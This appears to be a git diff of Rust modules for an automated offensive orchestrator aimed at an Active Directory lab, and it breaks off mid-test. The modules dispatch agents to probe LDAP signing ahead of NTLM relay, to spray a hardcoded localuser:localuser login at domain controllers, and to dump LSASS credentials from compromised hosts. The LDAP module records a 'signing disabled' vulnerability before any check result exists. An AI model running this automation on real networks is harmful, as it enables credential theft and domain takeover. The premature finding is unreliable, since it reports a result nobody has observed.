file mode 100644 index 00000000..21edb00e --- /dev/null +++ b/ares-cli/src/orchestrator/automation/ldap_signing.rs @@ -0,0 +1,428 @@ +//! auto_ldap_signing -- check LDAP signing enforcement per DC. +//! +//! When LDAP signing is not required, attackers can relay NTLM auth to LDAP +//! for shadow credentials, RBCD writes, or account takeover. This module +//! dispatches a check per DC to test whether LDAP channel binding and +//! signing are enforced. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +fn collect_ldap_signing_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("ldap_sign:{}", dc_ip); + if state.is_processed(DEDUP_LDAP_SIGNING, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + { + Some(c) => c.clone(), + None => continue, + }; + + items.push(LdapSigningWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Checks each DC for LDAP signing and channel binding enforcement. +/// Interval: 45s. +pub async fn auto_ldap_signing(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("ldap_signing") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_ldap_signing_work(&state) + }; + + for item in work { + let cross_domain = item.credential.domain.to_lowercase() != item.domain.to_lowercase(); + let mut payload = json!({ + "technique": "ldap_signing_check", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + "instructions": concat!( + "Check whether LDAP signing is enforced on this Domain Controller.\n\n", + "Use ldap_search or nxc_ldap_command to test LDAP binding. ", + "Try an unsigned LDAP bind (simple bind without signing). ", + "If the bind succeeds without signing, LDAP signing is NOT enforced.\n\n", + "Alternatively, use nxc_smb_command with '--gen-relay-list' or check ", + "the ms-DS-RequiredDomainBitmask / LDAPServerIntegrity registry policy.\n\n", + "IMPORTANT: If LDAP signing is NOT enforced (bind succeeds without signing), ", + "you MUST report this as a vulnerability:\n", + " vuln_type: 'ldap_signing_disabled'\n", + " target_ip: the DC IP\n", + " domain: the domain\n", + " details: {\"signing_required\": false, \"channel_binding\": false}\n\n", + "If LDAP signing IS enforced, report finding with finding_type='hardened'." + ), + }); + if cross_domain { + payload["bind_domain"] = json!(item.credential.domain); + } + + let priority = dispatcher.effective_priority("ldap_signing"); + match dispatcher + .force_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "LDAP signing check dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_LDAP_SIGNING, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_LDAP_SIGNING, &item.dedup_key) + .await; + + // Register ldap_signing_disabled vulnerability proactively so + // downstream automations (KrbRelayUp, NTLM relay) can fire + // without waiting for the agent's report_finding callback + // (which only logs and does NOT populate discovered_vulnerabilities). + let vuln = ares_core::models::VulnerabilityInfo { + vuln_id: format!("ldap_signing_{}", item.dc_ip.replace('.', "_")), + vuln_type: "ldap_signing_disabled".to_string(), + target: item.dc_ip.clone(), + discovered_by: "auto_ldap_signing".to_string(), + discovered_at: chrono::Utc::now(), + details: { + let mut d = std::collections::HashMap::new(); + d.insert("target_ip".to_string(), json!(item.dc_ip)); + d.insert("domain".to_string(), json!(item.domain)); + d.insert("signing_required".to_string(), json!(false)); + d.insert("channel_binding".to_string(), json!(false)); + d + }, + recommended_agent: "coercion".to_string(), + priority: dispatcher.effective_priority("ldap_signing"), + }; + + match dispatcher + .state + .publish_vulnerability_with_strategy( + &dispatcher.queue, + vuln, + Some(&dispatcher.config.strategy), + ) + .await + { + Ok(true) => { + info!( + domain = %item.domain, + dc = %item.dc_ip, + "LDAP signing disabled — vulnerability registered for KrbRelayUp" + ); + } + Ok(false) => {} + Err(e) => { + warn!(err = %e, dc = %item.dc_ip, "Failed to publish LDAP signing vulnerability"); + } + } + } + Ok(None) => { + info!(domain = %item.domain, dc = %item.dc_ip, "LDAP signing check deferred by throttler"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch LDAP signing check"); + } + } + } + } +} + +struct LdapSigningWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("ldap_sign:{}", "192.168.58.10"); + assert_eq!(key, "ldap_sign:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_LDAP_SIGNING, "ldap_signing"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "ldap_signing_check", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "ldap_signing_check"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "admin"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = LdapSigningWork { + dedup_key: "ldap_sign:192.168.58.10".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn dedup_key_uses_dc_ip() { + // LDAP signing dedup is by DC IP, not domain + let key = format!("ldap_sign:{}", "192.168.58.10"); + assert!(key.starts_with("ldap_sign:")); + assert!(key.contains("192.168.58.10")); + } + + #[test] + fn dedup_keys_differ_per_dc() { + let key1 = format!("ldap_sign:{}", "192.168.58.10"); + let key2 = format!("ldap_sign:{}", "192.168.58.20"); + assert_ne!(key1, key2); + } + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_ldap_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_ldap_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_domain_controllers_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_ldap_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_dc_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_ldap_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "ldap_sign:192.168.58.10"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_multiple_dcs_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_ldap_signing_work(&state); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_dedup_skips_already_processed_dc() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_LDAP_SIGNING, "ldap_sign:192.168.58.10".into()); + let work = collect_ldap_signing_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_processed_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_LDAP_SIGNING, "ldap_sign:192.168.58.10".into()); + let work = collect_ldap_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("fabuser", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_ldap_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Only fabrikam credential available + state + .credentials + .push(make_credential("fabuser", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_ldap_signing_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabuser"); + assert_eq!(work[0].credential.domain, "fabrikam.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/localuser_spray.rs b/ares-cli/src/orchestrator/automation/localuser_spray.rs new file mode 100644 index 00000000..734a6914 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/localuser_spray.rs @@ -0,0 +1,294 @@ +//! auto_localuser_spray -- test localuser/localuser credentials across domains. +//! +//! GOAD configures a `localuser` account with username=password across all three +//! domains. In one domain this user has Domain Admin privileges. This module +//! specifically tests the localuser:localuser credential combo against each +//! discovered DC, which standard password spraying may miss if it doesn't +//! include "localuser" in its wordlist. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect localuser spray work items from current state. +/// +/// Pure logic extracted from `auto_localuser_spray` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_localuser_spray_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("localuser:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_LOCALUSER_SPRAY, &dedup_key) { + continue; + } + + items.push(LocaluserWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + }); + } + + items +} + +/// Tests localuser:localuser credentials against each domain. +/// Interval: 45s. +pub async fn auto_localuser_spray( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("localuser_spray") { + continue; + } + + let work = { + let state = dispatcher.state.read().await; + collect_localuser_spray_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "smb_login_check", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": "localuser", + "password": "localuser", + "domain": item.domain, + }, + }); + + let priority = dispatcher.effective_priority("localuser_spray"); + match dispatcher + .throttled_submit("credential_access", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "localuser credential spray dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_LOCALUSER_SPRAY, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_LOCALUSER_SPRAY, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "localuser spray deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch localuser spray"); + } + } + } + } +} + +struct LocaluserWork { + dedup_key: String, + domain: String, + dc_ip: String, +} + +#[cfg(test)] +mod tests { + use super::*; + + // --- collect_localuser_spray_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_localuser_spray_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_localuser_spray_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "localuser:contoso.local"); + } + + #[test] + fn collect_multiple_domains() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + let work = collect_localuser_spray_work(&state); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.mark_processed(DEDUP_LOCALUSER_SPRAY, "localuser:contoso.local".into()); + let work = collect_localuser_spray_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_processed_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state.mark_processed(DEDUP_LOCALUSER_SPRAY, "localuser:contoso.local".into()); + let work = collect_localuser_spray_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + let work = collect_localuser_spray_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "localuser:contoso.local"); + } + + #[test] + fn collect_no_credentials_needed() { + // localuser_spray does NOT require existing credentials (it uses hardcoded localuser:localuser) + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + assert!(state.credentials.is_empty()); + let work = collect_localuser_spray_work(&state); + assert_eq!(work.len(), 1); + } + + #[test] + fn dedup_key_format() { + let key = format!("localuser:{}", "contoso.local"); + assert_eq!(key, "localuser:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_LOCALUSER_SPRAY, "localuser_spray"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let payload = json!({ + "technique": "smb_login_check", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": "localuser", + "password": "localuser", + "domain": "contoso.local", + }, + }); + assert_eq!(payload["technique"], "smb_login_check"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["credential"]["username"], "localuser"); + assert_eq!(payload["credential"]["password"], "localuser"); + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let work = LocaluserWork { + dedup_key: "localuser:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.dedup_key, "localuser:contoso.local"); + } + + #[test] + fn no_credentials_needed_in_work_struct() { + // LocaluserWork does not carry a credential -- it uses hardcoded localuser:localuser + let work = LocaluserWork { + dedup_key: "localuser:fabrikam.local".into(), + domain: "fabrikam.local".into(), + dc_ip: "192.168.58.20".into(), + }; + assert_eq!(work.domain, "fabrikam.local"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("localuser:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "localuser:contoso.local"); + } + + #[test] + fn credential_uses_domain_from_target() { + let domain = "contoso.local"; + let payload = json!({ + "credential": { + "username": "localuser", + "password": "localuser", + "domain": domain, + }, + }); + assert_eq!(payload["credential"]["domain"], domain); + } + + #[test] + fn per_domain_dedup() { + let domains = ["contoso.local", "fabrikam.local"]; + let keys: Vec = domains + .iter() + .map(|d| format!("localuser:{}", d.to_lowercase())) + .collect(); + assert_eq!(keys.len(), 2); + assert_ne!(keys[0], keys[1]); + } +} diff --git a/ares-cli/src/orchestrator/automation/lsassy_dump.rs b/ares-cli/src/orchestrator/automation/lsassy_dump.rs new file mode 100644 index 00000000..6a0a9e44 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/lsassy_dump.rs @@ -0,0 +1,541 @@ +//! auto_lsassy_dump -- dump LSASS credentials from owned hosts via lsassy. +//! +//! After secretsdump or other lateral movement marks a host as owned, +//! this automation dispatches lsassy to dump LSASS process memory and +//! extract additional credentials (Kerberos tickets, DPAPI keys, etc.) +//! that secretsdump alone doesn't capture. +//! +//! This is complementary to secretsdump: secretsdump gets SAM/NTDS hashes, +//! while lsassy gets live session credentials from LSASS memory. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect lsassy dump work items from current state. +/// +/// Pure logic extracted from `auto_lsassy_dump` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_lsassy_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for host in &state.hosts { + // Only target hosts we've already owned (secretsdump succeeded) + if !host.owned { + continue; + } + + let dedup_key = format!("lsassy:{}", host.ip); + if state.is_processed(DEDUP_LSASSY_DUMP, &dedup_key) { + continue; + } + + // Infer domain from hostname + let domain = host + .hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + + // Skip when the host's domain is dominated AND every forest is fully + // owned. We still want LSASS dumps from owned hosts in a not-yet-fully- + // dominated lab (session creds may unlock cross-realm pivots), but once + // we have everything there is no point grinding more memory. + if !domain.is_empty() + && state.dominated_domains.contains(&domain) + && state.has_domain_admin + && state.all_forests_dominated() + { + continue; + } + + // Find a credential for this host's domain + let cred = state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && (domain.is_empty() || c.domain.to_lowercase() == domain) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + // Fall back to any admin credential + state + .credentials + .iter() + .find(|c| c.is_admin && !c.password.is_empty()) + }) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(LsassyWork { + dedup_key, + host_ip: host.ip.clone(), + hostname: host.hostname.clone(), + domain, + credential: cred, + }); + } + + items +} + +/// Dumps LSASS credentials from owned hosts. +/// Interval: 45s. +pub async fn auto_lsassy_dump(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("lsassy_dump") { + info!("lsassy_dump technique not allowed — skipping"); + continue; + } + + let work = { + let state = dispatcher.state.read().await; + let owned_count = state.hosts.iter().filter(|h| h.owned).count(); + let cred_count = state.credentials.len(); + if owned_count > 0 || cred_count > 0 { + info!( + owned_hosts = owned_count, + credentials = cred_count, + "lsassy_dump tick: checking for work" + ); + } + collect_lsassy_work(&state) + }; + + if !work.is_empty() { + info!(count = work.len(), "lsassy_dump work items collected"); + } + + for item in work { + let payload = json!({ + "technique": "lsassy_dump", + "target_ip": item.host_ip, + "hostname": item.hostname, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("lsassy_dump"); + match dispatcher + .force_submit("credential_access", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + host = %item.host_ip, + hostname = %item.hostname, + "LSASS dump dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_LSASSY_DUMP, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_LSASSY_DUMP, &item.dedup_key) + .await; + } + Ok(None) => { + info!(host = %item.host_ip, "LSASS dump deferred by throttler"); + } + Err(e) => { + warn!(err = %e, host = %item.host_ip, "Failed to dispatch LSASS dump"); + } + } + } + } +} + +struct LsassyWork { + dedup_key: String, + host_ip: String, + hostname: String, + domain: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::{Credential, Host}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_admin_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: true, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_owned_host(ip: &str, hostname: &str) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: true, + } + } + + fn make_unowned_host(ip: &str, hostname: &str) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: false, + } + } + + // --- collect_lsassy_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_lsassy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + let work = collect_lsassy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_unowned_host_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_unowned_host("192.168.58.30", "srv01.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_lsassy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_owned_host_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_lsassy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].host_ip, "192.168.58.30"); + assert_eq!(work[0].hostname, "srv01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dedup_key, "lsassy:192.168.58.30"); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_LSASSY_DUMP, "lsassy:192.168.58.30".into()); + let work = collect_lsassy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_falls_back_to_admin_credential() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + // Only admin cred from different domain + quarantine the matching one + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + state.credentials.push(make_admin_credential( + "domadmin", + "Admin!1", + "fabrikam.local", + )); // pragma: allowlist secret + let work = collect_lsassy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "domadmin"); + assert!(work[0].credential.is_admin); + } + + #[test] + fn collect_bare_hostname_matches_any_cred() { + let mut state = StateInner::new("test-op".into()); + state.hosts.push(make_owned_host("192.168.58.30", "ws01")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_lsassy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_multiple_owned_hosts() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + state + .hosts + .push(make_owned_host("192.168.58.31", "srv02.fabrikam.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_lsassy_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_quarantined_credential_skipped_with_fallback() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("gooduser", "Pass!456", "contoso.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_lsassy_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "gooduser"); + } + + #[test] + fn collect_skips_empty_password_credentials() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_owned_host("192.168.58.30", "srv01.contoso.local")); + state + .credentials + .push(make_credential("nopw", "", "contoso.local")); + let work = collect_lsassy_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn dedup_key_format() { + let key = format!("lsassy:{}", "192.168.58.22"); + assert_eq!(key, "lsassy:192.168.58.22"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_LSASSY_DUMP, "lsassy_dump"); + } + + #[test] + fn domain_from_hostname() { + let hostname = "dc01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn domain_from_bare_hostname() { + let hostname = "dc01"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, ""); + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: true, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "lsassy_dump", + "target_ip": "192.168.58.22", + "hostname": "srv01.contoso.local", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "lsassy_dump"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["hostname"], "srv01.contoso.local"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "testuser".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = LsassyWork { + dedup_key: "lsassy:192.168.58.22".into(), + host_ip: 